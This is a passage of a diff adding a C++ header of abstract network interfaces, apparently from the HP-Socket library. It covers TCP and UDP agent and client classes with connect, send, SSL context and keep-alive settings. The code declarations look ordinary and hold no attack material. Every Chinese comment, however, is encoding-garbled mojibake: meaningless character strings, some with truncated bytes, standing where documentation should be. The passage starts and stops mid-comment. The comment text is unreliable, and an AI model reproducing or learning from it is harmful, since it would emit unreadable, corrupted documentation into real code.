璁剧疆鏈灏忛噸浼犺秴鏃舵椂闂达紙姣锛岄粯璁わ細30锛 */ + virtual void SetMinRto (DWORD dwMinRto) = 0; + /* 璁剧疆蹇熸彙鎵嬫鏁伴檺鍒讹紙榛樿锛5锛屽鏋滀负 0 鍒欎笉闄愬埗锛 */ + virtual void SetFastLimit (DWORD dwFastLimit) = 0; + /* 璁剧疆鏈澶т紶杈撳崟鍏冿紙榛樿锛0锛屼笌 SetMaxDatagramSize() 涓鑷达級 */ + virtual void SetMaxTransUnit (DWORD dwMaxTransUnit) = 0; + /* 璁剧疆鏈澶ф暟鎹寘澶у皬锛堥粯璁わ細4096锛 */ + virtual void SetMaxMessageSize (DWORD dwMaxMessageSize) = 0; + /* 璁剧疆鎻℃墜瓒呮椂鏃堕棿锛堟绉掞紝榛樿锛5000锛 */ + virtual void SetHandShakeTimeout (DWORD dwHandShakeTimeout) = 0; + + /* 妫娴嬫槸鍚﹀紑鍚 nodelay 妯″紡 */ + virtual BOOL IsNoDelay () = 0; + /* 妫娴嬫槸鍚﹀叧闂嫢濉炴帶鍒 */ + virtual BOOL IsTurnoffCongestCtrl () = 0; + /* 鑾峰彇鏁版嵁鍒锋柊闂撮殧 */ + virtual DWORD GetFlushInterval () = 0; + /* 鑾峰彇蹇熼噸浼 ACK 璺ㄨ秺娆℃暟 */ + virtual DWORD GetResendByAcks () = 0; + /* 鑾峰彇鍙戦佺獥鍙eぇ灏 */ + virtual DWORD GetSendWndSize () = 0; + /* 鑾峰彇鎺ユ敹绐楀彛澶у皬 */ + virtual DWORD GetRecvWndSize () = 0; + /* 鑾峰彇鏈灏忛噸浼犺秴鏃舵椂闂 */ + virtual DWORD GetMinRto () = 0; + /* 鑾峰彇蹇熸彙鎵嬫鏁伴檺鍒 */ + virtual DWORD GetFastLimit () = 0; + /* 鑾峰彇鏈澶т紶杈撳崟鍏 */ + virtual DWORD GetMaxTransUnit () = 0; + /* 鑾峰彇鏈澶ф暟鎹寘澶у皬 */ + virtual DWORD GetMaxMessageSize () = 0; + /* 鑾峰彇鎻℃墜瓒呮椂鏃堕棿 */ + virtual DWORD GetHandShakeTimeout () = 0; + + /* 鑾峰彇绛夊緟鍙戦佸寘鏁伴噺 */ + virtual BOOL GetWaitingSendMessageCount (CONNID dwConnID, int& iCount) = 0; + +public: + virtual ~IArqSocket() {} +}; + +/************************************************************************ +鍚嶇О锛歎DP ARQ 閫氫俊鏈嶅姟绔粍浠舵帴鍙 +鎻忚堪锛氱户鎵夸簡 ARQ 鍜 Server 鎺ュ彛 +************************************************************************/ +typedef DualInterface IUdpArqServer; + +#endif + +/************************************************************************ +鍚嶇О锛氶氫俊浠g悊缁勪欢鎺ュ彛 +鎻忚堪锛氬畾涔夐氫俊浠g悊缁勪欢鐨勬墍鏈夋搷浣滄柟娉曞拰灞炴ц闂柟娉曪紝浠g悊缁勪欢鏈川鏄竴涓悓鏃惰繛鎺ュ涓湇鍔″櫒鐨勫鎴风缁勪欢 +************************************************************************/ +class IAgent : public IComplexSocket +{ +public: + + /***********************************************************************/ + /***************************** 缁勪欢鎿嶄綔鏂规硶 *****************************/ + + /* + * 鍚嶇О锛氬惎鍔ㄩ氫俊缁勪欢 + * 鎻忚堪锛氬惎鍔ㄩ氫俊浠g悊缁勪欢锛屽惎鍔ㄥ畬鎴愬悗鍙紑濮嬭繛鎺ヨ繙绋嬫湇鍔″櫒 + * + * 鍙傛暟锛 lpszBindAddress -- 缁戝畾鍦板潃锛堥粯璁わ細nullptr锛岀粦瀹氫换鎰忓湴鍧锛 + * bAsyncConnect -- 鏄惁閲囩敤寮傛 Connect + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL Start (LPCTSTR lpszBindAddress = nullptr, BOOL bAsyncConnect = TRUE) = 0; + + /* + * 鍚嶇О锛氳繛鎺ユ湇鍔″櫒 + * 鎻忚堪锛氳繛鎺ユ湇鍔″櫒锛岃繛鎺ユ垚鍔熷悗 IAgentListener 浼氭帴鏀跺埌 OnConnect() / OnHandShake() 浜嬩欢 + * + * 鍙傛暟锛 lpszRemoteAddress -- 鏈嶅姟绔湴鍧 + * usPort -- 鏈嶅姟绔鍙 + * pdwConnID -- 杩炴帴 ID锛堥粯璁わ細nullptr锛屼笉鑾峰彇杩炴帴 ID锛 + * pExtra -- 杩炴帴闄勫姞鏁版嵁锛堥粯璁わ細nullptr锛 + * usLocalPort -- 鏈湴绔彛锛堥粯璁わ細0锛 + * lpszLocalAddress -- 鏈湴鍦板潃锛堥粯璁わ細nullptr锛屼娇鐢 Start() 鏂规硶涓粦瀹氱殑鍦板潃锛 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL Connect(LPCTSTR lpszRemoteAddress, USHORT usPort, CONNID* pdwConnID = nullptr, PVOID pExtra = nullptr, USHORT usLocalPort = 0, LPCTSTR lpszLocalAddress = nullptr) = 0; + +public: + + /***********************************************************************/ + /***************************** 灞炴ц闂柟娉 *****************************/ + + /* 鑾峰彇鏌愪釜杩炴帴鐨勮繙绋嬩富鏈轰俊鎭 */ + virtual BOOL GetRemoteHost (CONNID dwConnID, TCHAR lpszHost[], int& iHostLen, USHORT& usPort) = 0; +}; + +/************************************************************************ +鍚嶇О锛歍CP 閫氫俊浠g悊缁勪欢鎺ュ彛 +鎻忚堪锛氬畾涔 TCP 閫氫俊浠g悊缁勪欢鐨勬墍鏈夋搷浣滄柟娉曞拰灞炴ц闂柟娉 +************************************************************************/ +class ITcpAgent : public IAgent +{ +public: + + /***********************************************************************/ + /***************************** 缁勪欢鎿嶄綔鏂规硶 *****************************/ + + /* + * 鍚嶇О锛氬彂閫佸皬鏂囦欢 + * 鎻忚堪锛氬悜鎸囧畾杩炴帴鍙戦 4096 KB 浠ヤ笅鐨勫皬鏂囦欢 + * + * 鍙傛暟锛 dwConnID -- 杩炴帴 ID + * lpszFileName -- 鏂囦欢璺緞 + * pHead -- 澶撮儴闄勫姞鏁版嵁 + * pTail -- 灏鹃儴闄勫姞鏁版嵁 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL SendSmallFile(CONNID dwConnID, LPCTSTR lpszFileName, const LPWSABUF pHead = nullptr, const LPWSABUF pTail = nullptr) = 0; + +#ifdef _SSL_SUPPORT + /* + * 鍚嶇О锛氬垵濮嬪寲閫氫俊缁勪欢 SSL 鐜鍙傛暟 + * 鎻忚堪锛歋SL 鐜鍙傛暟蹇呴』鍦 SSL 閫氫俊缁勪欢鍚姩鍓嶅畬鎴愬垵濮嬪寲锛屽惁鍒欏惎鍔ㄥけ璐 + * + * 鍙傛暟锛 iVerifyMode -- SSL 楠岃瘉妯″紡锛堝弬鑰 EnSSLVerifyMode锛 + * lpszPemCertFile -- 璇佷功鏂囦欢锛堝鎴风鍙夛級 + * lpszPemKeyFile -- 绉侀挜鏂囦欢锛堝鎴风鍙夛級 + * lpszKeyPassword -- 绉侀挜瀵嗙爜锛堟病鏈夊瘑鐮佸垯涓虹┖锛 + * lpszCAPemCertFileOrPath -- CA 璇佷功鏂囦欢鎴栫洰褰曪紙鍗曞悜楠岃瘉鎴栧鎴风鍙夛級 + * + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇澶辫触鍘熷洜 + */ + virtual BOOL SetupSSLContext(int iVerifyMode = SSL_VM_NONE, LPCTSTR lpszPemCertFile = nullptr, LPCTSTR lpszPemKeyFile = nullptr, LPCTSTR lpszKeyPassword = nullptr, LPCTSTR lpszCAPemCertFileOrPath = nullptr) = 0; + + /* + * 鍚嶇О锛氬垵濮嬪寲閫氫俊缁勪欢 SSL 鐜鍙傛暟锛堥氳繃鍐呭瓨鍔犺浇璇佷功锛 + * 鎻忚堪锛歋SL 鐜鍙傛暟蹇呴』鍦 SSL 閫氫俊缁勪欢鍚姩鍓嶅畬鎴愬垵濮嬪寲锛屽惁鍒欏惎鍔ㄥけ璐 + * + * 鍙傛暟锛 iVerifyMode -- SSL 楠岃瘉妯″紡锛堝弬鑰 EnSSLVerifyMode锛 + * lpszPemCert -- 璇佷功鍐呭 + * lpszPemKey -- 绉侀挜鍐呭 + * lpszKeyPassword -- 绉侀挜瀵嗙爜锛堟病鏈夊瘑鐮佸垯涓虹┖锛 + * lpszCAPemCert -- CA 璇佷功鍐呭锛堝崟鍚戦獙璇佹垨瀹㈡埛绔彲閫夛級 + * + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇澶辫触鍘熷洜 + */ + virtual BOOL SetupSSLContextByMemory(int iVerifyMode = SSL_VM_NONE, LPCSTR lpszPemCert = nullptr, LPCSTR lpszPemKey = nullptr, LPCSTR lpszKeyPassword = nullptr, LPCSTR lpszCAPemCert = nullptr) = 0; + + /* + * 鍚嶇О锛氭竻鐞嗛氫俊缁勪欢 SSL 杩愯鐜 + * 鎻忚堪锛氭竻鐞嗛氫俊缁勪欢 SSL 杩愯鐜锛屽洖鏀 SSL 鐩稿叧鍐呭瓨 + * 1銆侀氫俊缁勪欢鏋愭瀯鏃朵細鑷姩璋冪敤鏈柟娉 + * 2銆佸綋瑕侀噸鏂拌缃氫俊缁勪欢 SSL 鐜鍙傛暟鏃讹紝闇瑕佸厛璋冪敤鏈柟娉曟竻鐞嗗師鍏堢殑鐜鍙傛暟 + * + * 鍙傛暟锛 鏃 + * + * 杩斿洖鍊硷細鏃 + */ + virtual void CleanupSSLContext() = 0; + + /* + * 鍚嶇О锛氬惎鍔 SSL 鎻℃墜 + * 鎻忚堪锛氬綋閫氫俊缁勪欢璁剧疆涓洪潪鑷姩鎻℃墜鏃讹紝闇瑕佽皟鐢ㄦ湰鏂规硶鍚姩 SSL 鎻℃墜 + * + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇澶辫触鍘熷洜 + */ + virtual BOOL StartSSLHandShake(CONNID dwConnID) = 0; + +#endif + +public: + + /***********************************************************************/ + /***************************** 灞炴ц闂柟娉 *****************************/ + + /* 璁剧疆鍚屾杩炴帴瓒呮椂鏃堕棿锛堟绉掞級 */ + virtual void SetSyncConnectTimeout (DWORD dwSyncConnectTimeout) = 0; + /* 璁剧疆閫氫俊鏁版嵁缂撳啿鍖哄ぇ灏忥紙鏍规嵁骞冲潎閫氫俊鏁版嵁鍖呭ぇ灏忚皟鏁磋缃紝閫氬父璁剧疆涓 1024 鐨勫嶆暟锛 */ + virtual void SetSocketBufferSize (DWORD dwSocketBufferSize) = 0; + /* 璁剧疆姝e父蹇冭烦鍖呴棿闅旓紙姣锛0 鍒欎笉鍙戦佸績璺冲寘锛岄粯璁わ細60 * 1000锛 */ + virtual void SetKeepAliveTime (DWORD dwKeepAliveTime) = 0; + /* 璁剧疆寮傚父蹇冭烦鍖呴棿闅旓紙姣锛0 涓嶅彂閫佸績璺冲寘锛岋紝榛樿锛20 * 1000锛屽鏋滆秴杩囪嫢骞叉 [榛樿锛歐inXP 5 娆, Win7 10 娆 妫娴嬩笉鍒板績璺崇‘璁ゅ寘鍒欒涓哄凡鏂嚎锛 */ + virtual void SetKeepAliveInterval (DWORD dwKeepAliveInterval) = 0; + /* 璁剧疆鏄惁寮鍚 nodelay 妯″紡锛堥粯璁わ細FALSE锛屼笉寮鍚級 */ + virtual void SetNoDelay (BOOL bNoDelay) = 0; + + /* 鑾峰彇鍚屾杩炴帴瓒呮椂鏃堕棿 */ + virtual DWORD GetSyncConnectTimeout () = 0; + /* 鑾峰彇閫氫俊鏁版嵁缂撳啿鍖哄ぇ灏 */ + virtual DWORD GetSocketBufferSize () = 0; + /* 鑾峰彇姝e父蹇冭烦鍖呴棿闅 */ + virtual DWORD GetKeepAliveTime () = 0; + /* 鑾峰彇寮傚父蹇冭烦鍖呴棿闅 */ + virtual DWORD GetKeepAliveInterval () = 0; + /* 妫鏌ユ槸鍚﹀紑鍚 nodelay 妯″紡 */ + virtual BOOL IsNoDelay () = 0; + +#ifdef _SSL_SUPPORT + /* 璁剧疆閫氫俊缁勪欢鎻℃墜鏂瑰紡锛堥粯璁わ細TRUE锛岃嚜鍔ㄦ彙鎵嬶級 */ + virtual void SetSSLAutoHandShake(BOOL bAutoHandShake) = 0; + /* 鑾峰彇閫氫俊缁勪欢鎻℃墜鏂瑰紡 */ + virtual BOOL IsSSLAutoHandShake() = 0; + + /* 璁剧疆 SSL 鍔犲瘑绠楁硶鍒楄〃 */ + virtual void SetSSLCipherList(LPCTSTR lpszCipherList) = 0; + /* 鑾峰彇 SSL 鍔犲瘑绠楁硶鍒楄〃 */ + virtual LPCTSTR GetSSLCipherList() = 0; + + /* + * 鍚嶇О锛氳幏鍙 SSL Session 淇℃伅 + * 鎻忚堪锛氳幏鍙栨寚瀹氱被鍨嬬殑 SSL Session 淇℃伅锛堣緭鍑虹被鍨嬪弬鑰冿細EnSSLSessionInfo锛 + * + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇澶辫触鍘熷洜 + */ + virtual BOOL GetSSLSessionInfo(CONNID dwConnID, EnSSLSessionInfo enInfo, LPVOID* lppInfo) = 0; +#endif + +}; + +/************************************************************************ +鍚嶇О锛氶氫俊瀹㈡埛绔粍浠舵帴鍙 +鎻忚堪锛氬畾涔夐氫俊瀹㈡埛绔粍浠剁殑鎵鏈夋搷浣滄柟娉曞拰灞炴ц闂柟娉 +************************************************************************/ +class IClient +{ +public: + + /***********************************************************************/ + /***************************** 缁勪欢鎿嶄綔鏂规硶 *****************************/ + + /* + * 鍚嶇О锛氬惎鍔ㄩ氫俊缁勪欢 + * 鎻忚堪锛氬惎鍔ㄥ鎴风閫氫俊缁勪欢骞惰繛鎺ユ湇鍔$锛屽惎鍔ㄥ畬鎴愬悗鍙紑濮嬫敹鍙戞暟鎹 + * + * 鍙傛暟锛 lpszRemoteAddress -- 鏈嶅姟绔湴鍧 + * usPort -- 鏈嶅姟绔鍙 + * bAsyncConnect -- 鏄惁閲囩敤寮傛 Connect + * lpszBindAddress -- 缁戝畾鍦板潃锛堥粯璁わ細nullptr锛孴cpClient/UdpClient -> 涓嶆墽琛岀粦瀹氭搷浣滐紝UdpCast 缁戝畾 -> 浠绘剰鍦板潃锛 + * usLocalPort -- 鏈湴绔彛锛堥粯璁わ細0锛 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL Start (LPCTSTR lpszRemoteAddress, USHORT usPort, BOOL bAsyncConnect = TRUE, LPCTSTR lpszBindAddress = nullptr, USHORT usLocalPort = 0) = 0; + + /* + * 鍚嶇О锛氬叧闂氫俊缁勪欢 + * 鎻忚堪锛氬叧闂鎴风閫氫俊缁勪欢锛屽叧闂畬鎴愬悗鏂紑涓庢湇鍔$鐨勮繛鎺ュ苟閲婃斁鎵鏈夎祫婧 + * + * 鍙傛暟锛 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL Stop () = 0; + + /* + * 鍚嶇О锛氬彂閫佹暟鎹 + * 鎻忚堪锛氬悜鏈嶅姟绔彂閫佹暟鎹 + * + * 鍙傛暟锛 pBuffer -- 鍙戦佺紦鍐插尯 + * iLength -- 鍙戦佺紦鍐插尯闀垮害 + * iOffset -- 鍙戦佺紦鍐插尯鎸囬拡鍋忕Щ閲 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL Send (const BYTE* pBuffer, int iLength, int iOffset = 0) = 0; + + /* + * 鍚嶇О锛氬彂閫佸缁勬暟鎹 + * 鎻忚堪锛氬悜鏈嶅姟绔彂閫佸缁勬暟鎹 + * TCP - 椤哄簭鍙戦佹墍鏈夋暟鎹寘 + * UDP - 鎶婃墍鏈夋暟鎹寘缁勫悎鎴愪竴涓暟鎹寘鍙戦侊紙鏁版嵁鍖呯殑鎬婚暱搴︿笉鑳藉ぇ浜庤缃殑 UDP 鍖呮渶澶ч暱搴︼級 + * + * 鍙傛暟锛 pBuffers -- 鍙戦佺紦鍐插尯鏁扮粍 + * iCount -- 鍙戦佺紦鍐插尯鏁扮洰 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL SendPackets(const WSABUF pBuffers[], int iCount) = 0; + + /* + * 鍚嶇О锛氭殏鍋/鎭㈠鎺ユ敹 + * 鎻忚堪锛氭殏鍋/鎭㈠鏌愪釜杩炴帴鐨勬暟鎹帴鏀跺伐浣 + * + * bPause -- TRUE - 鏆傚仠, FALSE - 鎭㈠ + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触 + */ + virtual BOOL PauseReceive(BOOL bPause = TRUE) = 0; + + /* + * 鍚嶇О锛氱瓑寰 + * 鎻忚堪锛氱瓑寰呴氫俊缁勪欢鍋滄杩愯 + * + * 鍙傛暟锛 dwMilliseconds -- 瓒呮椂鏃堕棿锛堟绉掞紝榛樿锛-1锛屾案涓嶈秴鏃讹級 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL Wait(DWORD dwMilliseconds = INFINITE) = 0; + +public: + + /***********************************************************************/ + /***************************** 灞炴ц闂柟娉 *****************************/ + + /* 璁剧疆杩炴帴鐨勯檮鍔犳暟鎹 */ + virtual void SetExtra (PVOID pExtra) = 0; + /* 鑾峰彇杩炴帴鐨勯檮鍔犳暟鎹 */ + virtual PVOID GetExtra () = 0; + + /* 妫娴嬫槸鍚︿负瀹夊叏杩炴帴锛圫SL/HTTPS锛 */ + virtual BOOL IsSecure () = 0; + /* 妫鏌ラ氫俊缁勪欢鏄惁宸插惎鍔 */ + virtual BOOL HasStarted () = 0; + /* 鏌ョ湅閫氫俊缁勪欢褰撳墠鐘舵 */ + virtual EnServiceState GetState () = 0; + /* 鑾峰彇鏈杩戜竴娆″け璐ユ搷浣滅殑閿欒浠g爜 */ + virtual EnSocketError GetLastError () = 0; + /* 鑾峰彇鏈杩戜竴娆″け璐ユ搷浣滅殑閿欒鎻忚堪 */ + virtual LPCTSTR GetLastErrorDesc() = 0; + /* 鑾峰彇璇ョ粍浠跺璞$殑杩炴帴 ID */ + virtual CONNID GetConnectionID () = 0; + /* 鑾峰彇 Client Socket 鐨勫湴鍧淇℃伅 */ + virtual BOOL GetLocalAddress (TCHAR lpszAddress[], int& iAddressLen, USHORT& usPort) = 0; + /* 鑾峰彇杩炴帴鐨勮繙绋嬩富鏈轰俊鎭 */ + virtual BOOL GetRemoteHost (TCHAR lpszHost[], int& iHostLen, USHORT& usPort) = 0; + /* 鑾峰彇杩炴帴涓湭鍙戝嚭鏁版嵁鐨勯暱搴 */ + virtual BOOL GetPendingDataLength (int& iPending) = 0; + /* 鑾峰彇杩炴帴鐨勬暟鎹帴鏀剁姸鎬 */ + virtual BOOL IsPauseReceive (BOOL& bPaused) = 0; + /* 妫娴嬫槸鍚︽湁鏁堣繛鎺 */ + virtual BOOL IsConnected () = 0; + + /* 璁剧疆鍦板潃閲嶇敤閫夐」 */ + virtual void SetReuseAddressPolicy(EnReuseAddressPolicy enReusePolicy) = 0; + /* 璁剧疆鍐呭瓨鍧楃紦瀛樻睜澶у皬 */ + virtual void SetFreeBufferPoolSize (DWORD dwFreeBufferPoolSize) = 0; + /* 璁剧疆鍐呭瓨鍧楃紦瀛樻睜鍥炴敹闃鍊 */ + virtual void SetFreeBufferPoolHold (DWORD dwFreeBufferPoolHold) = 0; + + /* 鑾峰彇鍦板潃閲嶇敤閫夐」 */ + virtual EnReuseAddressPolicy GetReuseAddressPolicy () = 0; + /* 鑾峰彇鍐呭瓨鍧楃紦瀛樻睜澶у皬 */ + virtual DWORD GetFreeBufferPoolSize () = 0; + /* 鑾峰彇鍐呭瓨鍧楃紦瀛樻睜鍥炴敹闃鍊 */ + virtual DWORD GetFreeBufferPoolHold () = 0; + +public: + virtual ~IClient() {} +}; + +/************************************************************************ +鍚嶇О锛歍CP 閫氫俊瀹㈡埛绔粍浠舵帴鍙 +鎻忚堪锛氬畾涔 TCP 閫氫俊瀹㈡埛绔粍浠剁殑鎵鏈夋搷浣滄柟娉曞拰灞炴ц闂柟娉 +************************************************************************/ +class ITcpClient : public IClient +{ +public: + + /***********************************************************************/ + /***************************** 缁勪欢鎿嶄綔鏂规硶 *****************************/ + + /* + * 鍚嶇О锛氬彂閫佸皬鏂囦欢 + * 鎻忚堪锛氬悜鏈嶅姟绔彂閫 4096 KB 浠ヤ笅鐨勫皬鏂囦欢 + * + * 鍙傛暟锛 lpszFileName -- 鏂囦欢璺緞 + * pHead -- 澶撮儴闄勫姞鏁版嵁 + * pTail -- 灏鹃儴闄勫姞鏁版嵁 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL SendSmallFile(LPCTSTR lpszFileName, const LPWSABUF pHead = nullptr, const LPWSABUF pTail = nullptr) = 0; + +#ifdef _SSL_SUPPORT + /* + * 鍚嶇О锛氬垵濮嬪寲閫氫俊缁勪欢 SSL 鐜鍙傛暟 + * 鎻忚堪锛歋SL 鐜鍙傛暟蹇呴』鍦 SSL 閫氫俊缁勪欢鍚姩鍓嶅畬鎴愬垵濮嬪寲锛屽惁鍒欏惎鍔ㄥけ璐 + * + * 鍙傛暟锛 iVerifyMode -- SSL 楠岃瘉妯″紡锛堝弬鑰 EnSSLVerifyMode锛 + * lpszPemCertFile -- 璇佷功鏂囦欢锛堝鎴风鍙夛級 + * lpszPemKeyFile -- 绉侀挜鏂囦欢锛堝鎴风鍙夛級 + * lpszKeyPassword -- 绉侀挜瀵嗙爜锛堟病鏈夊瘑鐮佸垯涓虹┖锛 + * lpszCAPemCertFileOrPath -- CA 璇佷功鏂囦欢鎴栫洰褰曪紙鍗曞悜楠岃瘉鎴栧鎴风鍙夛級 + * + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇澶辫触鍘熷洜 + */ + virtual BOOL SetupSSLContext(int iVerifyMode = SSL_VM_NONE, LPCTSTR lpszPemCertFile = nullptr, LPCTSTR lpszPemKeyFile = nullptr, LPCTSTR lpszKeyPassword = nullptr, LPCTSTR lpszCAPemCertFileOrPath = nullptr) = 0; + + /* + * 鍚嶇О锛氬垵濮嬪寲閫氫俊缁勪欢 SSL 鐜鍙傛暟锛堥氳繃鍐呭瓨鍔犺浇璇佷功锛 + * 鎻忚堪锛歋SL 鐜鍙傛暟蹇呴』鍦 SSL 閫氫俊缁勪欢鍚姩鍓嶅畬鎴愬垵濮嬪寲锛屽惁鍒欏惎鍔ㄥけ璐 + * + * 鍙傛暟锛 iVerifyMode -- SSL 楠岃瘉妯″紡锛堝弬鑰 EnSSLVerifyMode锛 + * lpszPemCert -- 璇佷功鍐呭 + * lpszPemKey -- 绉侀挜鍐呭 + * lpszKeyPassword -- 绉侀挜瀵嗙爜锛堟病鏈夊瘑鐮佸垯涓虹┖锛 + * lpszCAPemCert -- CA 璇佷功鍐呭锛堝崟鍚戦獙璇佹垨瀹㈡埛绔彲閫夛級 + * + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇澶辫触鍘熷洜 + */ + virtual BOOL SetupSSLContextByMemory(int iVerifyMode = SSL_VM_NONE, LPCSTR lpszPemCert = nullptr, LPCSTR lpszPemKey = nullptr, LPCSTR lpszKeyPassword = nullptr, LPCSTR lpszCAPemCert = nullptr) = 0; + + /* + * 鍚嶇О锛氭竻鐞嗛氫俊缁勪欢 SSL 杩愯鐜 + * 鎻忚堪锛氭竻鐞嗛氫俊缁勪欢 SSL 杩愯鐜锛屽洖鏀 SSL 鐩稿叧鍐呭瓨 + * 1銆侀氫俊缁勪欢鏋愭瀯鏃朵細鑷姩璋冪敤鏈柟娉 + * 2銆佸綋瑕侀噸鏂拌缃氫俊缁勪欢 SSL 鐜鍙傛暟鏃讹紝闇瑕佸厛璋冪敤鏈柟娉曟竻鐞嗗師鍏堢殑鐜鍙傛暟 + * + * 鍙傛暟锛 鏃 + * + * 杩斿洖鍊硷細鏃 + */ + virtual void CleanupSSLContext() = 0; + + /* + * 鍚嶇О锛氬惎鍔 SSL 鎻℃墜 + * 鎻忚堪锛氬綋閫氫俊缁勪欢璁剧疆涓洪潪鑷姩鎻℃墜鏃讹紝闇瑕佽皟鐢ㄦ湰鏂规硶鍚姩 SSL 鎻℃墜 + * + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇澶辫触鍘熷洜 + */ + virtual BOOL StartSSLHandShake() = 0; + +#endif + +public: + + /***********************************************************************/ + /***************************** 灞炴ц闂柟娉 *****************************/ + + /* 璁剧疆鍚屾杩炴帴瓒呮椂鏃堕棿锛堟绉掞級 */ + virtual void SetSyncConnectTimeout (DWORD dwSyncConnectTimeout) = 0; + /* 璁剧疆閫氫俊鏁版嵁缂撳啿鍖哄ぇ灏忥紙鏍规嵁骞冲潎閫氫俊鏁版嵁鍖呭ぇ灏忚皟鏁磋缃紝閫氬父璁剧疆涓猴細(N * 1024) - sizeof(TBufferObj)锛 */ + virtual void SetSocketBufferSize (DWORD dwSocketBufferSize) = 0; + /* 璁剧疆姝e父蹇冭烦鍖呴棿闅旓紙姣锛0 鍒欎笉鍙戦佸績璺冲寘锛岄粯璁わ細60 * 1000锛 */ + virtual void SetKeepAliveTime (DWORD dwKeepAliveTime) = 0; + /* 璁剧疆寮傚父蹇冭烦鍖呴棿闅旓紙姣锛0 涓嶅彂閫佸績璺冲寘锛岋紝榛樿锛20 * 1000锛屽鏋滆秴杩囪嫢骞叉 [榛樿锛歐inXP 5 娆, Win7 10 娆 妫娴嬩笉鍒板績璺崇‘璁ゅ寘鍒欒涓哄凡鏂嚎锛 */ + virtual void SetKeepAliveInterval (DWORD dwKeepAliveInterval) = 0; + /* 璁剧疆鏄惁寮鍚 nodelay 妯″紡锛堥粯璁わ細FALSE锛屼笉寮鍚級 */ + virtual void SetNoDelay (BOOL bNoDelay) = 0; + + /* 鑾峰彇鍚屾杩炴帴瓒呮椂鏃堕棿 */ + virtual DWORD GetSyncConnectTimeout () = 0; + /* 鑾峰彇閫氫俊鏁版嵁缂撳啿鍖哄ぇ灏 */ + virtual DWORD GetSocketBufferSize () = 0; + /* 鑾峰彇姝e父蹇冭烦鍖呴棿闅 */ + virtual DWORD GetKeepAliveTime () = 0; + /* 鑾峰彇寮傚父蹇冭烦鍖呴棿闅 */ + virtual DWORD GetKeepAliveInterval () = 0; + /* 妫鏌ユ槸鍚﹀紑鍚 nodelay 妯″紡 */ + virtual BOOL IsNoDelay () = 0; + +#ifdef _SSL_SUPPORT + /* 璁剧疆閫氫俊缁勪欢鎻℃墜鏂瑰紡锛堥粯璁わ細TRUE锛岃嚜鍔ㄦ彙鎵嬶級 */ + virtual void SetSSLAutoHandShake(BOOL bAutoHandShake) = 0; + /* 鑾峰彇閫氫俊缁勪欢鎻℃墜鏂瑰紡 */ + virtual BOOL IsSSLAutoHandShake() = 0; + + /* 璁剧疆 SSL 鍔犲瘑绠楁硶鍒楄〃 */ + virtual void SetSSLCipherList(LPCTSTR lpszCipherList) = 0; + /* 鑾峰彇 SSL 鍔犲瘑绠楁硶鍒楄〃 */ + virtual LPCTSTR GetSSLCipherList() = 0; + + /* + * 鍚嶇О锛氳幏鍙 SSL Session 淇℃伅 + * 鎻忚堪锛氳幏鍙栨寚瀹氱被鍨嬬殑 SSL Session 淇℃伅锛堣緭鍑虹被鍨嬪弬鑰冿細EnSSLSessionInfo锛 + * + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇澶辫触鍘熷洜 + */ + virtual BOOL GetSSLSessionInfo(EnSSLSessionInfo enInfo, LPVOID* lppInfo) = 0; +#endif + +}; + +#ifdef _UDP_SUPPORT + +/************************************************************************ +鍚嶇О锛歎DP 閫氫俊瀹㈡埛绔粍浠舵帴鍙 +鎻忚堪锛氬畾涔 UDP 閫氫俊瀹㈡埛绔粍浠剁殑鎵鏈夋搷浣滄柟娉曞拰灞炴ц闂柟娉 +************************************************************************/ +class IUdpClient : public IClient +{ +public: + + /***********************************************************************/ + /***************************** 缁勪欢鎿嶄綔鏂规硶 *****************************/ + +public: + + /***********************************************************************/ + /***************************** 灞炴ц闂柟娉 *****************************/ + + /* 